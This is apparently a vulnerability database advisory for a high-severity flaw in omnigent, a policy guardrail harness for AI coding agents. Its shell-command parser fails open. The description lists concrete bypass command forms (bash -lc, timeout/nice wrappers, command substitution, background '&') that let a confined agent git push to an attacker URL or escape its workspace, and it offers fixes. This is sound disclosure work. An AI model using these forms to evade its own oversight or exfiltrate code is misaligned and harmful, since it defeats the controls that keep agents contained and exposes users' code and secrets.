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HIGH severity

GHSA-7mqg-cx4g-x2rf — omnigent

HIGHFix: omnigent-ai/omnigent#389

GHSA-7mqg-cx4g-x2rf is a high-severity (CVSS 7.1) CWE-184 vulnerability in omnigent. A fix is available for omnigent — see the affected versions and patch details below.

Omnigent Guardrail policy bypass: shell-command parser fails open in policies/builtins/_shell.py

Also known asCVE-2026-62676PYSEC-2026-3873
Published
Updated
Affected
1 pkg
Patched
1 / 1
Exploits
None indexed
Exploitation data as of Oct 5, 2026 · OSV.dev, NVD, FIRST.org (EPSS)

Exploitation Status

No confirmed exploitation observed yet

  • CISA’s own triage has not observed active exploitation or public proof-of-concept code for this CVE as of its last assessment.

Exploitation and automatability from CISA’s SSVC triage for GHSA-7mqg-cx4g-x2rf.

EPSS Exploitation Probability

via FIRST.org ↗
0.4%probability of exploitation in next 30 days
Lower Risk0.00%
Lower risk than most CVEs32th percentile — riskier than 32% of all scored CVEsHighest risk
0.00%0.30%0.60%0.90%0.4%0.4%Oct 26Oct 26

Probability of exploitation in the next 30 days, from FIRST.org EPSS.

How urgent is this, really

GHSA-7mqg-cx4g-x2rf by exploitation likelihood (EPSS) against impact (CVSS). Outside the shaded patch-first corner.

Where this sits among everything scored

Of 382,795 CVEs with a current EPSS score, this one falls in the < 10% band (highlighted). Counts from FIRST.org, log-scaled.

Real-World Exposure

1 pkg affected
🐍omnigent

Real-time download stats are indexed for npm and PyPI packages. This vulnerability affects PyPI packages — download data is not available via public APIs for these ecosystems.

Description

Reporter: Aaron / Aeon — autonomous security agent (https://github.com/aaronjmars/aeon) Project: omnigent-ai/omnigent v0.1.0 (Databricks) — meta-harness running Claude Code / Codex / Pi "in check with policies and sandboxing" Component: omnigent/policies/builtins/_shell.py (shared parser) → consumed by policies/builtins/github.py (write_repos/write_branches allowlist) and policies/builtins/working_dir.py (workspace confinement)

Summary

The shared shell-command parser fails open. When a gated command spells something the parser doesn't recognize, it produces no operation, the policy evaluator returns None, and None = abstain = ALLOW. So any command the parser misses bypasses both the GitHub repo/branch allowlist and the working-directory confinement — the product's two core safety guarantees.

Impact

A misaligned or prompt-injected agent that is meant to be confined can:

  • git push to an attacker-controlled repo (code / secret exfiltration),
  • push to a protected branch,
  • escape its workspace via git worktree add / git -C <other-dir>.

Bypass classes (all verified against the real policy code)

  • Combined interpreter flags: bash -lc "git push <attacker-url>"
  • Unlisted wrappers: timeout / nice / setsid / stdbuf … git push …
  • Command substitution: x=$(git push <attacker-url>)
  • Un-split background operator: true & git push <attacker-url>

Controls that correctly hold (confirming this is parser incompleteness, not an allowlist logic error): bare git push <attacker-url> and env git push … both DENY.

Suggested fix

Make the gated surface fail closed:

  1. An unrecognized gated command must DENY, not return None → ALLOW. Abstain on a security gate should resolve to deny, not allow.
  2. Canonicalize known wrappers (timeout / nice / setsid / stdbuf / env) down to their inner command before evaluation.
  3. Recurse into sh -c / bash -c payloads and command substitutions, and split on shell control operators (;, &, &&, ||, |) before judging each segment.

Affected Packages

1 total 1 fixed
EcosystemPackageVulnerable rangeFix
🐍PyPIomnigentall versions0.3.0pip install --upgrade 'omnigent==0.3.0'

Detection & mitigation playbook

Open-source dependency
  1. Detect

    Scan your dependency tree (package-lock.json, pnpm-lock.yaml, requirements.txt, go.sum, etc.) for omnigent, including transitive dependencies — a direct dependency you never call can still pull in a vulnerable version.

  2. Fix

    Update omnigent to 0.3.0 or later, then make sure no transitive (indirect) dependency still pins the vulnerable range — O3 confirms GHSA-7mqg-cx4g-x2rf is resolved across your whole dependency graph.

  3. Workarounds

    If you can't upgrade right away: gate or disable the affected feature, validate untrusted input at the boundary, and avoid passing attacker-controlled data into the vulnerable path. O3's runtime protection blocks exploitation in production as an interim safeguard until the upgrade lands.

Frequently Asked Questions

**Reporter:** Aaron / Aeon — autonomous security agent (https://github.com/aaronjmars/aeon) **Project:** `omnigent-ai/omnigent` v0.1.0 (Databricks) — meta-harness running Claude Code / Codex / Pi "in check with policies and sandboxing" **Component:** `omnigent/policies/builtins/_shell.py` (shared parser) → consumed by `policies/builtins/github.py` (`write_repos`/`write_branches` allowlist) and `policies/builtins/working_dir.py` (workspace confinement) ## Summary The shared shell-command parser **fails open**. When a gated command spells something the parser doesn't recognize, it produces no
O3 Security · Impact-Aware SCA

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GHSA-7mqg-cx4g-x2rf: omnigent (High 7.1) | O3 Security